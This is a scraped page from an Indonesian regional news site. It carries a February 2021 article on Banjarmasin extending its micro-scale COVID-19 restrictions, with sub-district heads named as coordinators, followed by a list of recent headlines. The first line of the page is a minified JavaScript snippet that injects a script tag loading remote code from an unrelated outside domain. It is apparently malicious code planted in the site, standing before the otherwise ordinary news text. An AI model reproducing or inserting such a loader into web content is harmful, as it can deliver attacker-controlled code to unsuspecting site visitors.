(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemko Banjarmasin Perpanjang PPKM Mikro, Camat Ditunjuk jadi Koordinator


KANALKALIMANTAN.COM, BANJARMASIN – Upaya menekan kasus penyebaran Covid-19 terus dilakukan Pemko Banjarmasin dengan kembali memperpanjang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) berskala mikro selama dua pekan ke depan.

Kepala Dinas Kesehatan Kota Banjarmasin, Machli mengatakan, PPKM berskala mikro diperpanjang hingga 8 Maret mendatang.

“Perpanjangan waktu diputuskan untuk dua minggu ke depan, yaitu 24 Februari sampai dengan 8 Maret 2021,” tuturnya, Rabu (24/2/2021).

Machli juga mengatakan bahwa dalam perpanjangan PPKM berskala Mikro jilid II di Banjarmasin tersebut merujuk Instruksi Mendagri dan juga hasil rapat Satgas Covid-19 Banjarmasin.

Terlebihnya, dalam hasil rapat evaluasi PPKM berskala mikro jilid I tersebut, Machli mengatakan pelaksanaannya terdapat beberapa kekurangan.

Menyikapi hal tersebut Machli menuturkan dalam pelaksanaan PPKM jilid II ini akan disempurnakan dengan cara tambal sulam untuk pelaksanaan di hari ke depan.

Dalam pelaksanaan PPKM jilid II ke depanya sendiri, diungkapkan Machli, Pemko Banjarmasin menunjuk para Kepala Camat yang ada di Kecamatan Banjarmasin untuk menjadi koordinator pelaksanaan PPKM berskala Mikro jilid II di setiap Kecamatan.

“Dalam hasil rapat evaluasi PPKM berskala mikro jilid I tersebut terdapat beberapa kekurangan, dan saat PPKM berskala mikro jilid II ini sudah menunjuk kepala camat yang ada di Banjarmasin untuk menjadi Koordinator,” bebernya.

Dijelaskan Machli, bahwa pelaksanaan PPKM berskala mikro jilid II tersebut, para camat yang di tunjuk sebagai koordinator kegiatan masyarakat, serta memberikan penguatan sosialisasi dan penegakan hukum di pelaksanaannya.
Terkait dalam penegakan PPKM berskala mikro jilid II tersebut, dikatakan Machli bahwa tetap akan ada penindakan operasi razia penegakan hukum protokol kesehatan Covid-19.

Dan berharap, dalam perpanjangan masa PPKM mikro di Kota Banjarmasin ini dapat mengurangi penyebaran Covid-19 selama dua minggu ke depan.(Kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Cell

 

 


Al Ghifari

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

3 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

4 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

6 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

10 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

10 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

13 jam ago

This website uses cookies.